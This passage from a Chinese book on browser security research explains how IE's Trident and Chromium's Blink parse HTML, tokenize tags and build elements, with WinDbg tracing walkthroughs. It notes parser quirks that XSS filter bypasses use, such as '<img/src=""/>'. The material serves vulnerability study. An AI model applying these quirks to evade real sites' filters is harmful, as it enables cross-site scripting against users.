最后，我们分别以ActiveX和IE11的崩溃入手，介绍插件和浏览器崩溃后的分析方式。希望读者能在Fuzz时起到一定用处。


10　网页的渲染

10.1　网页的渲染

在渲染网页时，浏览器是如何将代码中的标签转为不同形式的网页内容，然后按照代码中指定的样式和属性来层层显示各元素的呢？JavaScript在操作网页时，如何做到将多个元素选定然后做其他动作，例如删除、插入元素呢？本章中我们将简单探讨一下这些步骤的流程。

10.1.1　渲染引擎

浏览器的内核，或称渲染引擎（Rendering Engine），负责获取并解析处理网页，并将排版后的内容输出至显示器或打印机中。因为它的主要功能为网页排版，因此也称排版引擎（Layout Engine）。常见的内核以及使用它们的浏览器的主要有下列几种：


	Trident（MSHTML）



Internet Explorer 4～11使用Trident内核。此外，Windows Phone的Internet Explorer Mobile 7.0之后及游戏主机Xbox的Internet Explorer Xbox也使用了该内核。微软早期给苹果电脑开发的Internet Explorer For Mac却使用了名为Tasman的内核，后Mac版IE停止开发之后，该内核还保留并在Office for Mac等产品中使用。


	EdgeHTML



Windows 10桌面版和移动版自带的Microsoft Edge浏览器（早期名为Project Spartan）使用此内核，EdgeHTML是Trident的一个分支。EdgeHTML的性能相对于之前的Trident有较大提升，2015年5月测试表明Edge浏览器的得分甚至高于同期的Google Chrome和Mozilla Firefox。


	Webkit



Apple Safari和Google Chrome 27以下的版本，以及安卓4.4之前的版本中原生浏览器（Chrome Lite）使用此内核。此内核由苹果公司自KHTML引擎（目前Linux上Konqueror浏览器使用）修改并开源而来。


	Blink



Google Chrome 28、Opera 15[image: Opera 15的前一个版本是Opera 12.17，Opera 7～12.17使用Presto引擎，后已不再维护。]

 之后，以及安卓4.4开始的原生浏览器（由Chrome Lite换为了Chromium）都使用了Blink内核，Blink是Webkit中WebCore的一个分支。



	Gecko



Mozilla Firefox使用此内核。Gecko是网景公司开发的，2003年美国在线解散网景公司后，当天成立的Mozilla基金会开始接管Gecko，且一直由Mozilla员工和社区维护发展。

除了上述列出的浏览器之外，国内常见的定制浏览器也使用了一些著名内核，2015年7月，国内常见的浏览器内核使用（主内核）字母表排序如下：


	Blink/WebKit[image: Blink/WebKit有时也通称Chrome内核，Trident通称IE内核。]





2345极速浏览器、360安全浏览器、360极速浏览器、百度浏览器、猎豹浏览器、Maxthon傲游浏览器、QQ浏览器9。


	Trident



2345王牌浏览器、QQ浏览器8、搜狗高速浏览器。

各浏览器综合起来网页的渲染流程简单概述为：

（1）在收到用户访问的消息后，开始请求目标网站，在网页下载完成后（或是下载过程中），开始解析下载回的网页代码；

（2）渲染引擎读取HTML文档，把标签转换成DOM树。

（3）然后，解析样式表，并将其应用到DOM树上，构造出一个用于渲染网页的树；

（4）从这个用于渲染网页的树中读取数据，计算每个元素应当在屏幕的哪个位置如何显示；

（5）排版完成后，将整个网页输出到屏幕上。

[image: ]
图10-1：网页加载的基本流程



不同内核的使用除了影响排版方式外，还可能会影响到浏览器对待安全问题的表现。例如Firefox并没有XSS过滤程序，而Chrome和IE则有，但是IE的判断方式和Chrome的又不一致（IE使用正则表达式匹配，Chrome使用词法分析）。这些内核间的差异可能带来各种意想不到的攻击要素，例如某段XSS攻击脚本在一个浏览器下会被拦截，但是在另一个浏览器下却绕过了过滤。如果网站管理员只测试了可以拦截的那个浏览器，他很可能会认为并无漏洞，不去修复，导致在其他环境下漏洞依然可以执行。

还有，定制浏览器使用的内核不及时更新也会带来安全问题。例如使用WebKit/Blink内核的浏览器，谷歌通过更新在新版内核已经修复了的问题，可能由于定制浏览器使用旧版本内核仍可触发，留下隐患。由于内核的复杂性，以及部分闭源内核的不透明，它在漏洞挖掘者的眼中一直都是一块充满魅力的宝地。

10.1.2　DOM结构模型

W3C规定了DOM结构模型的层级关系。DOM以节点的层级关系来展现文档。节点可以实现其他更具体的节点。HTML中的节点类型如下：


	Document：代表了整个HTML或者XML文档。它是整个文档树的根，提供访问文档数据的功能。Document也提供了创建元素、文本节点、注释等的功能。在浏览器中，我们更熟悉的是它的实现“document”。



[image: ]
图10-2：执行createElement后的结果




	DocumentFragment：这是Document的一个子集，当操作文档中的一些代码片段时，就会使用到DocumentFragment。例如我们要把一个节点以及它下面的所有子节点移动到另一个节点下，操作时浏览器就会使用DocumentFragment。

	DocumentType：即doctype。Doctype告诉浏览器应当如何渲染当前页面。Document的doctype属性值是null或一个DocumentType对象。DocumentType没有子节点。



[image: ]
图10-3：获取doctype




	EntityReference：当需要插入一个实体引用时，会使用到EntityReference对象。

	Element：即页面中的元素。元素继承于节点，可以有相关的属性。Element可以实现各种具体的元素。



[image: ]
图10-4：IE的开发者工具




	Attr：代表Element对象的属性。虽然Attr也继承于Node，但是DOM只认为Attr属于某个Element，Attr并不是文档树的一部分。

	ProcessingInstruction：代表处理指令。用于存储XML中的处理器相关的信息。

	Comment：HTML注释。例如<！---->中的内容。

	Text：文本。表示Element或者Attr中的文本部分。例如a

中的“a”即为文本节点。

	CDATASection：即CDATA。CDATA是指不被XML解析器所解析的文本数据。XML的CDATA可以包含任何文本，包括保留的XML字符。

	Entity：XML文档中的实体。包括解析过的和未解析的实体。实体节点可以在其他地方被引用。

	Notation：XML文档中的记号定义，描述XML文档中非XML数据的格式。



之所以要提前介绍这些节点类型，是因为在调试代码时你可能会碰到与之类似的内容，尤其是在调试Chromium等开源程序时，你会发现Chromium在实现某些功能时，实现功能的方法或类的名称和规范中的名称十分相近，提前理解规范的定义将有助于进一步理解代码。另外，相比于开源的浏览器，闭源的IE浏览器则一直蒙着神秘的面纱，我们在这章中不仅介绍Chrome的HTML解析过程，还会着重介绍IE的解析过程。

10.1.3　IE解析HTML的过程

Internet Explorer的HTML解析类解析HTML时，采用文本扫描的方式解析HTML，然后将不同的标签作为不同的Token，分析出一个类似树一样的结构，然后继续送与其上层类解析。在生成DOM树时，主要使用的是mshtml.dll中的CHtmParse类。我们可以使用IDA对mshtml.dll进行分析，以下代码使用Internet Explorer 11的mshtml.dll（即使你的机器上版本不同，这一块的动作也不会有太多的变化）。

在对IE的网页进程进行调试时，我们可以看到从URLMON下载完成代码通知CDoc：：Load来加载网页之后，到实际开始处理的函数前，函数调用栈是这样的[image: 限于篇幅，没有粘贴完整的调用栈，完整栈见：http://www.nul.pw/2015/09/26/104.html。]

 ：


Fr Headings
00 MSHTML!CHtmLoad::Init
01 MSHTML!CDwnInfo::SetLoad+0x17a
02 MSHTML!CDwnCtx::SetLoad+0x4d
03 MSHTML!CMarkup::Load+0x312
04 MSHTML!CMarkup::LoadFromInfo+0xb72
05 MSHTML!CDoc::LoadFromInfo+0x48d
06 MSHTML!CDoc::Load+0xd7


之所以说是“实际处理”，是因为在那之前，函数大多数是作为“Wrapper”的形式，只是简单地把参数向底层传递。例如CDoc：：Load阅读后可知它只是简单地把参数处理一下传递给下一层：




int __stdcall CDoc::Load(int a1, int a2)
{
   int (__thiscall *v2)(_DWORD); // esi@1
   int result; // eax@1
   int v4; // [sp+0h] [bp-Ch]@1

   v2 = *(int (__thiscall **)(_DWORD))(*(_DWORD *)a1 + 736);
     guard_check_icall_fptr(*(_DWORD *)(*(_DWORD *)a1 + 736));
   
result = v2(a1);












   if ( &v4 != &v4 )
        asm { int     29h             ; DOS 2+ internal - FAST PUTCHAR }
     return result;
}



到CHtmLoad：：Init处，解析才相对可以算是真正开始。因此，本节我们将从CHtmlLoad：：Init开始分析IE的处理方式。




在IDA打开mshtml.dll后，可以在左侧Function列表中找到CHtmLoad：：Init（DWNLOADINFO*，CDwnInfo*）函数，我们以此视作解析的开始。双击后按下Tab键查看伪代码窗口，可以更容易地看到解析过程做了什么。MSHTML的代码量庞大，部分版本的IDA可能会出现卡死的现象，为了效率考虑，建议先把伪代码复制到其他带有代码着色功能的工具中查看。

让我们简要地概述一下整个初始化函数所做的事情，CHtmLoad是处理HTML加载的相关类，在Init方法中，它所做的事情简要地概括为下面三个：

（1）根据传入的数据建立与文档相关的内容，例如为了创建树所必须拥有的根节点；

（2）对文档进行标准化、处理树结构；

（3）调用解析函数来解析HTML，生成对应元素并载入必需的资源文件（例如图片等）。

以上是简要概括，接下来让我们详细介绍IE所做的事情。如果你对代码的实现不感兴趣，也可以略过这部分内容。CHtmLoad：：Init函数篇幅巨大，因此，在阅读时需要有足够的耐心。在首次阅读时，建议采用静态分析的方式，即人眼“步入”阅读，这听起来似乎相当困难，但是相比动态调试，这样的静态阅读可能效率更高。当然，你可以选择合适自己的方式来阅读这些代码。本文，我们将采用静态阅读的模式展开分析。

简单来说，在执行到这个函数的时候，IE会将输入流传给CHtmPost：：Init方法。CHtmPost：：Init的意思就是“HTML Post Processor”，它处理输入的流数据，并将数据处理后输出到文档中，并通知文档的上下文。

CHtmPost：：Init函数将数据下传到CHtmParse：：Init中。CHtmParse：：Init是整个解析过程的初始化函数。这个函数会先创建根上下文（Root Context）留作后用，它用于不同元素创建节点、将节点和文字分别置入树中以及标记节点的结束。之后，以之前创建的根上下文作为父上下文创建一个顶层上下文（Top Context），将文档的根元素（Root Element）置入顶层上下文中。这样，就完成了上下文的创建，上下文的现状是：


	根上下文是顶级上下文的父上下文，其中不包含任何元素。

	顶级上下文中，只包含一个文档的根元素。

	根上下文、顶级上下文都是CHtmRootParseCtx[image: Class of HTML Root Parser Context，HTML根上下文解析类。]

 ，都在等待进一步操作加入新的元素。



至此，CHtmParse：：Init调用完成，返回上一层。该子过程中检查到代码是异步处理的时候，会设置一个回调函数，在有更多数据时继续处理，这里的细节我们不深究，此时，函数返回上一层CHtmPost：：Init处。CHtmPost：：Init解析成功完成后，调用父类的Init进行初始化并开始绑定，成功后开始进行预解析，这个工作由CHtmPre类实现。

预解析的第一步依然从名为Init的函数开始。CHtmPre：：Init会读取输入流，并将流中不标准的内容给标准化。完成后，若网页是同步加载时，需要在函数返回之前处理完所有的树，因此网页会等待CHtmPre：：Exec来继续处理树结构。

CHtmPre：：Exec会读取数据流，并处理（即：Tokenize）各个元素，然后将处理好的标签写入标签流。同时下载一些相关的资源，例如图片等。这个步骤完成后，返回CHtmPre：：Exec处。之后就是一些收尾工作了，CHtmLoad：：Init基本完成。

10.1.4　IE的Tokenize

上一节中，我们有意忽略了一个过程，那便是Tokenize。在IE中（其他浏览器也是），所有标签都被看作是“token”，将“token”转换为浏览器可以识别的形式的过程便是“Tokenize”。Tokenize的过程在CHtmPre：：Exec中存在。CHtmPre：：Exec在简单地标准化代码后，调用CHtmPre：：Tokenize成员函数来进行代码的Tokenize。

Tokenize类似于一个有限状态机，它扫描文档的每一个字符，将一些特殊字符作为状态并处理剩余内容。它的功能概括如下：


	当文档处于纯文本模式（Plain Text）的时候，忽略一切文字，一路扫描到底，什么事都不做，流程结束。

	当遇到混合的文本模式（Text）时，忽略\r、\n，只计算行数，然后忽略并继续扫描直到文本结束。

	当遇到标签开启（“<”）时，开始逐字寻找不在引用中的闭合符号（“>”，指=""和=''括起来的属性中的闭合符号），找到后将Tag送入Tag Stream。



但是，有例外情况是：如果是<！、<？[image: <?XML:namespace不会被当作注释，而会特殊处理。<![ 、<!- -[、<!#开头的标签是conditional idiom，也称条件注释，此处也有特殊处理，不会被忽略。如果是<!--开头，需要以-->结尾，否则中间的>并不会作为结束符号看待。]

 开头的标签，到闭合为止的部分会被当作是注释从而忽略。如果是<%开头的标签，到闭合为止的部分会被当作混合文本。



	遇到HTML实体（&、&#、&#x、&#X）时，转为字符[image: 为&开头的实体时，会比对所有可用的实体名，找不到的时候当作文本输出。当为&#开头的数字实体时，遇到分号或是第一个非数字的字符时结束，前方数字当作ASCII码，转换为字符后输出。]

 后再输出到流。



[image: ]
图10-5：回车在文本模式和混合模式下的区别



送入Tag Stream的函数为CHtmPre：：OutputTag，它是DoTokenizeOneTag的Wrapper。CHtmPre：：DoTokenizeOneTag的作用是从代码的指定的字符范围中Tokenize出单个Tag。它会将Tag的名称和属性都解析出来，然后放到Tag Stream中。

函数的具体做法是：先抽出Tag名称部分，比对字符串，如果发现是已知的标签，就做上标记。这个标记称为Element Tag，用于区分不同的元素，之后创建各个元素的时候，根据不同的Element Tag，可以实例化不同的类。这个流程我们将在10.2节中详细叙述。

在标记完成后，该函数还会简单地处理属性，在处理属性的时候，IE会忽略属性前的空格，这个定义广泛的“空格”包括空格和ASCII为9~12的字符（缩进符号、换行、垂直制表符、换页），以及回车（ASCII 13）也在忽略范围内。

另外，还有一个特殊情况。左斜线（/）在标签中被视为标签结束符号，但是仅仅在它后面跟着尖括号时是这样。如果它出现在其他地方（值的范围除外），那么它同样会被当作“空格”看待，从而被忽略。这也是一些XSS绕过代码可以使用形如<img/src=””/>这样的代码的原因。

在处理值时，该函数依然逐字扫描代码，遇到&开头的数据时，会优先将其作为HTML实体解释。解释完成后再写入原始代码中。在处理完所有值对时，函数写入终止标签，结束流程。

10.1.5　Chrome解析HTML的过程

在Chrome中，将HTML代码解析的过程和IE类似，我们将以Chromium[image: Chromium是开源项目，采用BSD开源协议。Chrome是商业项目，基于Chromium，不开源。Chromium和Chrome二者区别很小，除了Logo和名称之外，Chrome多有自动升级、数据上报（匿名统计、安装数据）等商业性质的内容。在研究内核时，使用Chromium即可。因此，本章内所述代码实际上是调试Chromium得来的，但是有时也会称为“Chrome”。]

 46的代码为例。Chromium的代码的获取可以遵循官方文档
 [image: http://dev.chromium.org/developers/how-tos/get-the-code。]

 。在拉取代码时，由于master（主干）的代码经常更新，所以如果不巧拉取了一个更新的不完整的代码，很可能会导致本地编译不通过。如果遇到这个情况时，建议改从stable的分支拉取代码。stable的代码是正式发布的版本，稳定且少有更新。


本地编译[image: http://dev.chromium.org/developers/how-tos/build-instructions-windows。]

 时，建议采用Visual Studio 2013 with Update 4，系统语言调节成英文后编译，否则可能出现各种错误。你可以使用Visual Studio Community版，对个人来说，这个版本只需登录微软账号即可免费使用。笔者使用的版本是Microsoft Visual Studio Community 2013（版本号12.0.31101.00）Update 4。Chromium的代码量较大，所以编译时间较长，可能需要数小时之久，期间CPU资源耗费巨大，所以建议在闲暇时间，留下充足硬盘空间（笔者编译的Debug版本的目录占用硬盘空间约24GB）让编译器自行编译。


在编译完成后，我们就可以对Chromium进行调试了。笔者采用的方法是在Visual Studio中直接Attach进程来调试。因为Chromium工程规模的原因，使用Visual Studio调试时，虽然代码浏览相对更加方便，但是也可能会让Visual Studio自身崩溃或是假死。所以，你也可以根据自己的需求使用其他调试器，例如WinDbg的附加调试。

Chromium的HTML解析操作，是从DocumentFragment中的parseHTML开始的，具体由管理类HTMLDocumentParser[image: src/third_party/WebKit/Source/core/html/parser/HTMLDocumentParser.cpp]

 完成。仍然让我们简要地概述一HTMLDocumentParser所做的事情。HTMLDocumentParser是一个管理类，它包含有许多用于其他工作的类，在解析过程中，它所做的事情简要地概括为下面四个：


（1）读取传入的数据并对数据做初步处理；

（2）解析HTML文档，创建元素；

（3）在构建完成后调用XSSAuditor类来过滤可能存在风险的元素；

（4）完成建立树的工作。

以下是具体实现，如果对代码实现不感兴趣，也可以略过这部分内容。

通过HTMLDocumentParser：：append将源数据附加进解释器。Blink在该函数中准备数据，完成后调用函数HTMLDocumentParser：：pumpTokenizer IfPossible，准备构建DOM树。条件合适时，进入HTMLDocumentParser：：pumpTokenizer函数开始Tokenize的过程。

在Tokenize时，Blink会传入网页内容给HTMLTokenizer：：nextToken，这个函数会做与IE的CHtmPre：：Tokenize类似的工作。待网页所有元素完成Tokenize过程后，使用XSS Auditor来过滤Token中可能存在风险的元素，以上工作完成后，调用constructTreeFromHTMLToken完成建立DOM树。

10.1.6　Chrome的Tokenize

让我们继续看一下Blink中的Tokenize过程。上一节中我们提到HTMLTokenizer：：nextToken是Blink中进行Tokenize过程的处理函数。从代码上[image: 开始分析时，HTML_BEGIN_STATE(DataState)标记为DataState，读取时遇到<时，使用HTML_ADVANCE_TO(TagOpenState)标记为TagOpenState并继续分析，其他类型标记类似。]

 看，这个函数和IE做的事情类似。HTMLTokenizer：：nextToken实现了一个有限状态机，它会逐字读取输入，并在读取出一个完整的词语之后，转换成一个有实际意义的对象。


以读取<html>标签为例，Tokenize时依次读入[image: src/third_party/WebKit/Source/core/html/parser/HTMLTokenizer.cpp。]

 输入内容，在读取到<时认为是标签的开启，并将它后面的内容作为标签内容，读取到>时认为标签结束，这之中没有遇到/，所以认为它是一个“开标签”，记作StartTag。这样一个过程下来，完成了对这个单词的分析，得到了一个类型为StartTag的HTMLToken，内容为“html”。


[image: ]
图10-6：<html>标签的处理



其中一些重要规则类似IE的规则：


	TagOpenState下（前方有“<”），如果后一个字符是“！”，认为是注释符号，进入MarkupDeclarationOpenState状态；




	如果后一个字符是字母，认为是TagName的开始，进入TagNameState状态；

	如果后一个字符是“/”，准备处理结束标签，进入EndTagOpenState状态；

	如果后一个字符是“？”，认为是注释标签，进入BogusCommentState状态，作为BogusComment来直接存入字符；

	其他情况进入DataState状态，直接存入字符。




	在TagNameState状态下，如果遇到“空白”字符，会进入BeforeAttributeNameState状态，后续内容（如果有）会被当作属性看待。Chrome的“空白字符”与IE仅有一些细微区别，Chrome中“空白字符”为空格（0x20）、缩进（0x09）、回车（0x0A）以及换行（0x0C），不包括IE中被算入“空白”的垂直制表符（0x0B）；




	另外，空字符（0x00）也会被当作无效字符从而被直接“吞噬（Reconsume）”，因而也可以作为“空白”看待；

	如果遇到“/”，该标签会被当作“自关闭”标签看待，进入SelfClosingStartTagState状态；在SelfClosingStartTagState状态中，“/”标签后面如果不是“>”，也不会结束标签，因此和IE一样，也可以用作Tag名称和属性间的分隔符，等同视为“空白”；

	如果遇到“>”，该Tag会发送进emitAndResumeIn，从而完成“词语”的分析。




	在处理属性时，遇到HTML实体时，Chromium同样会将实体先转换为对应字符，支持&、&#、&#x、&#X。这在CharacterReferenceInAttributeValueState状态中完成。



另外，当页面的HTML发生某些语法错误时，错误语句之后的语句可能都不会显示。例如：

<p>a</p><a href="a`>b</a>c


只会显示“a”。这和最新版的IE和Edge表现是一致的。但是IE9之前的版本会把错误的部分当作文字节点输出，这也是IE和Chrome的一项细微的差别。





10.2　元素的创建

浏览器是如何识别HTML中的文本信息，并最终将它们展现成外观不一的元素的？在DOM结构模型一节中我们介绍了HTML的节点类型，在DOM规范中详细地说明了元素的派生关系，例如Element—HTMLElement—HTMLXXXElement，各个浏览器是否严格地遵守了这个规定呢？接下来让我们解答这两个问题。

10.2.1　IE中元素的创建过程

在CHtmLoad：：Init结束之后，Tag Stream中已经有解析好的各个Tag的Token了，在它们进入页面展现之前，还需要有其他函数协助处理，将其扩展成一棵树。在Tokenize过程完成后，它会向上发出信号，父类处理后，在CHtmPost：：OnDwnChanCallback中响应事件回调，发出广播且最终会在CHtmLoad：：Exec中创建元素。让我们跟踪一下代码，查看IE是怎么处理元素创建的过程的。

这里的调用栈是（以下调用栈有省略）：

Fr Headings
00 MSHTML!CHtmPost::Exec
01 MSHTML!CHtmPost::Run
02 MSHTML!PostManExecute
03 MSHTML!PostManResume
04 MSHTML!CHtmPost::OnDwnChanCallback
05 MSHTML!CDwnChan::OnMethodCall
06 MSHTML!GlobalWndOnMethodCall
07 MSHTML!GlobalWndProc
08 user32!InternalCallWinProc


在CHtmPost：：Exec调用的函数中，与构建DOM树关联较大的是函数CHtmPost：：ProcessTokens。ProcessTokens函数的主要作用是重新排列Tag Stream里面的各个Token，并在需要的时候将Token送往其他处理类中。




该函数从Tag Stream中循环依次取出Tag，并读取Tag的类型。然后，将元素送与CHtmParse：：ParseToken进行处理。CHtmParse：：ParseToken会根据Tag的类型，将Tag送与合适的处理器中，例如文本、注释、开闭标签等都会有合适的处理模式。另外，一些特殊的Token，例如首级元素（如<！DOCTYPE>、<HTML>、<HEAD>、<BODY>、<FRAMESET>）的结构处理仍然是在CHtmPost：：ProcessTokens中完成的，还有网页内容的标记、CodePage的转换等工作都在此进行。

CHtmParse：：ParseToken处理标签时，会根据标签的多种形式来调用不同处理函数。例如有用于处理开始标签的CHtmParse：：ParseBeginTag函数、闭合标签的CHtmParse：：ParseEndTag函数等。

以ParseBeginTag为例，函数从传入的参数中取出Tag的名称并判断，对一些元素添加隐式的子元素（例如HTML下一定会有一个HEAD元素）和特殊处理。

之后，该函数会调用CreateElement来创建元素，CreateElement函数会依据Tag名称创建对应的元素。这里的CreateElement也是一个Wrapper，它会针对各个Tag调用TagDescFromEtag并获得一个CTagDesc（意为Class of Tag Description）对象。这个对象中存储着Tag的描述，不同类型的Tag有不同的类来描述，所以也对应不同的构造方式。例如“DIV”的TagDesc对应着CDivElement：：CreateElement（）。在成功获取TagDesc之后，该函数调用描述中指定的CreateElement，创建对应的元素对象并初始化。

最后，通知上下文（Html Parser Context）有“开始标签”建立，上下文会将创建完成的对象置入树中。这里的“置入”方式大致描述是：找到需要插入的位置后，新建一个节点（CTreeNode），然后将节点置入待插入的链表中并最终通知加入。IE中，这个节点树以“伸展树”（Splay Tree）的形式存在，存储的细节超出了本书将要介绍的内容范围，在此我们暂且不提，如果有兴趣可以自行追踪CHtmParse：：BeginElement的后续动作。

10.2.2　Chrome中元素的创建过程

在Chrome中，树的构建由HTMLTreeBuilder、HTMLContructionSite等类来完成，Chrome会通过一个栈结构HTMLElementStack来保存各个节点标签，这个栈存储的形式有些类似IE的Tag Stream。

[image: ]
图10-7：Chrome的解析模型图



类似于IE的上下文树，Blink先生成节点树，并根据节点树中的不同token，创建出HTMLElement的派生类。之前的一节中，我们介绍HTMLTokenizer：：nextToken会进行词法分析，分离出的HTMLToken通过HTMLTreeBuilder：：constructTreeFromToken识别后，会根据不同的Node类型创建出不同的节点。和IE的CHtmPost：：ProcessTokens所做的事情类似，Blink也会对网页中最重要的三块：HTML、HEAD、BODY元素做出特殊处理（例如，HEAD元素中不应该再出现HEAD元素等）。

HTMLTreeBuilder会负责处理相关节点的状态（通过process系列函数，例如processStartTag、processEndTag，这也与IE的处理模式类似），并最终通过HTMLConstructionSite：：createHTMLElement来创建相应的Node。也即创建出各种HTMLElement的派生类，例如HTMLBodyElement等。它的做法和IE是几乎一样的，只不过在IE中生成的是CElement的派生类。同样，树的具体存储形式也不在本书应涉及的范围之内，限于篇幅，在此不再赘述。由于Chromium是开源的，因此大家如果有兴趣可以仔细阅读将Node加入节点树的代码逻辑。

10.2.3　元素的生成规律

在介绍完上面的内容之后，下一步让我们看基础介绍的最后部分。我们将介绍元素和Markup在浏览器中的存在形式。在介绍完成之后，我们就将直接上手调试浏览器了。

浏览器会将HTML转换为标记（Markup），以及标记的最终形式——元素，然后将其按照一定的规则展示在浏览器中。对于元素来说“万物之源”[image: 更深层次的继承没有考虑，例如CElement继承于CBase。]

 是CElement（IE）／HTMLElement（Chrome）。通过由这些基类继承并添加特性，浏览器中派生出了各式各样新的元素。例如超级链接的锚元素（<A>，anchor）的派生关系是：IE中CElement－CHyperLink－CAnchorElement（或Chrome中HTMLElement—HTMLAnchorElement）。


[image: ]
图10-8：元素的继承



因此，在网页解析时，标记最终成为了一个个独特的元素类，各个元素类在继承了基本类（CElement/HTMLElement）的特性后，再各自演化出不同的功能。在实际调试时，这些类的名字也非常容易“推测”出。例如在IE中，元素对应的类名为CXXXElement，而Chrome中则对应为HTMLXXXXElement[image: 定义文件位于src/third_party/WebKit/Source/core/html/。]

 。例如<DIV>在两个浏览器中分别为CDivElement和HTMLDivElement；<BR>分别为CBRElement和HTMLBRElement，以此类推
 [image: 更多关于mshtml中各元素类的信息也可以参考http://www.geoffchappell.com/studies/windows/ie/。]

 。


可以看到，Chrome在编码的时候，类名就已经和规范的名称一样了，而IE则稍微有一些改动。不过如果你在IE的开发人员工具中查看元素定义，你会发现IE其实也有遵守规范，只不过在底层实现上IE绕了个弯子。

让我们做个实验，在IE中按下F12打开控制台，输入var h=document.createElement（"hr"）；h；，按下回车之后，即可在控制台中看到IE对这个对象的命名正是HTMLHRElement。这与规范中的名称一致。

>> var h = document.createElement("hr"); h; 
[object HTMLHRElement] {
    color : "",
    size : "",
    align : "",
    noShade : false,
    width : "",
    currentStyle : null,
    runtimeStyle : [object MSStyleCSSProperties],
    accessKey : "",
    canHaveChildren : true,
    canHaveHTML : true
    ...
}


	
更深层次的继承没有考虑，例如CElement继承于CBase。返回




	
定义文件位于src/third_party/WebKit/Source/core/html/。返回




	
更多关于mshtml中各元素类的信息也可以参考http://www.geoffchappell.com/studies/windows/ie/。返回







10.3　实战：使用WinDbg跟踪元素的生成

接下来，我们就可以着手跟踪元素的生成过程了。我们依然以IE和Chromium两个浏览器为例。让我们首先简单地介绍一下思路。

在上一节中我们提到，元素最终会成为一个个元素类的形式并通过某些方式展现在网页中。因此，跟踪元素的生成实际上可以简化成跟踪元素类的生成。一个类在生成的同时会调用其构造函数，因此，只要我们能够及时断在类的构造函数中即可确保可以跟踪到后续内容。

让我们构造如下的代码，模拟从脚本中创建一个元素的过程：

<SCRIPT>
    var div = document.createElement(“





DIV”





);
</SCRIPT>


因为Chromium包含有源代码，因此在找到处理代码之后，跟踪起来相对简单，只需要在调试器中源代码所在行添加断点，然后直接运行即可。本地有代码调试使用VS Debugger较为简单直观，操作方法如下：




1．在Chromium启动后，使用VS Debugger附加上去；

2．在HTMLDivElement：：HTMLDivElement处设置断点；

3．执行示例代码，即可成功断到此处。

我们可以看到，从Chromium的脚本引擎（V8）中执行createElement到最终HTMLDivElement的创建的调用函数栈如下：

>    webcore_shared.dll!blink::HTMLDivElement::HTMLDivElement
     webcore_shared.dll!blink::HTMLDivElement::create
     webcore_shared.dll!blink::divConstructor
     webcore_shared.dll!blink::HTMLElementFactory::createHTMLElement
     webcore_shared.dll!blink::Document::createElement


[image: ]
图10-9：使用VS调试Chromium代码



在接下来的章节中，如果是涉及到有代码的调试，步骤均与此类似，我们将不再叙述详细步骤，而是只给出关键的函数名称。在对Chrome进行无代码调试时，可以使用谷歌的符号服务器[image: 地址是https://chromium-browser-symsrv.commondatastorage.googleapis.com。]

 ，配合WinDbg调试也同样非常方便。


让我们再在WinDbg中模拟无代码调试Chromium。为了方便观看，配上了本地的符号和代码。以下是具体操作过程：

1．启动Debug版本的Chromium，然后使用WinDbg附加到Chromium的网页进程上。如果WinDbg没有自动识别出pdb信息，只要手动将包含有pdb的路径添加到WinDbg的Symbol Path即可。以笔者计算机上的路径为例，执行.sympath+E：\chromeproj\src\out\Debug即可。然后，再指定Chromium的源代码路径，例如E：\chromeproj\src；

2．执行ln webcore_shared！blink：：HTMLDivElement：：HTMLDivElement，此时，如果WinDbg正确地显示了地址（代表调试器确实知道这个函数的地址是什么），那么我们也就可以使用bp[构造函数的地址]或是bp webcore_shared！blink：：HTMLDivElement：：HTMLDivElement来进行中断了；

0:011> ln webcore_shared!blink::HTMLDivElement::HTMLDivElement
e:\chromeproj\src\third_party\webkit\source\core\html\htmldivelement.cpp(36)
(1f5dcc30





)   webcore_shared!blink::HTMLDivElement::HTMLDivElement   |
(1f5dcc80)   webcore_shared!blink::HTMLDivElement::`vector deleting destructor'
Exact matches:
    webcore_shared!blink::HTMLDivElement::HTMLDivElement (class blink::Document *)
0:011>bp 1f5dcc30 
(或是





bp webcore_shared!blink::HTMLDivElement::HTMLDivElement)


1．中断后输入g使网络进程继续执行，然后在Chromium中访问目标测试代码，然后网页进程会顺利地中断，这便是DIV元素类刚刚创建时的位置；




[image: ]
图10-10：WinDbg中触发断点



2．如果正确地配置了源代码路径，此时也可以看到该行对应的源代码。根据需求执行k系列语句可以看到栈回溯，回溯结果与VS Debugger显示的完全一致。

调试IE时，采用的步骤与上述基本相同。同样，我们需要挂上网页进程来调试。由于IE是完全闭源的产品，因此，我们略过设置源代码的步骤。IE的符号文件也在微软公共符号服务器中，如果之前没有设置微软公共符号服务器[image: 地址是http://msdl.microsoft.com/download/symbols。]

 ，只需要简单地使用.symfix；.reload；即可加载符号。我们知道DIV元素在IE中实际上名为CDivElement，因此我们执行ln或x mshtml！CDivElement：：CreateElement，如果WinDbg正确地显示了地址，接下来只需bp[构造函数的地址]下断点即可。这里后续操作和Chromium中第三步起操作一样，最终，我们也会成功地中断到CDivElement的创建位置处。


[image: ]
图10-11：WinDbg中触发断点



从IE的JS引擎执行的最后一步到MSHTML创建的部分调用栈如下：

0:034> k 7
Headings
MSHTML!CDivElement::CreateElement
MSHTML!CreateElement+0x202
MSHTML!CMarkup::CreateElement+0x191
MSHTML!CDocument::CreateElementHelper+0xfb
MSHTML!CDocument::Var_createElement+0x61
MSHTML!CFastDOM::CDocument::Trampoline_createElement+0x45
jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x16e


	
地址是https://chromium-browser-symsrv.commondatastorage.googleapis.com。返回




	
地址是http://msdl.microsoft.com/download/symbols。返回







10.4　实战：使用WinDbg跟踪元素的插入

在元素创建完之后，我们也要看看元素是如何插入网页DOM树中的。由于我们的调试是为了漏洞分析服务的，在此是只介绍元素插入的时机和定位。让我们以之前的测试代码为例，添加上一个用于插入的父元素。为了方便起见，我们提前给父元素指定ID，这样，我们只需要使用JavaScript：document.getElementById（"PARENT_ID"）.appendChild（div）；方法即可将我们创建的元素插入页面中。

修改后的测试代码如下：

<P id=”





PARENT”





>test</P>
<SCRIPT>
var div = document.createElement(“





DIV”





);
document.getElementById(“





PARENT”





).appendChild(div);
</SCRIPT>


JS的appendChild最终会在各浏览器中触发元素自身的appendChild方法（通过Wrapper：MSHTML！CFastDOM：：CNode：：Trampoline_appendChild）。在IE中，其中一个方法名称是MSHTML！CElement：：InsertBefore。在WinDbg中bp MSHTML！CElement：：InsertBefore，然后运行我们的示例代码，可以发现代码成功断在了插入代码处。从JScript到该函数的前几层栈如下。


0:021> k 4
Headings
MSHTML!CElement::InsertBefore
MSHTML!CElement::Var_appendChild+0xb3
MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x75
jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x16e


10.5　实战：使用WinDbg跟踪元素的释放

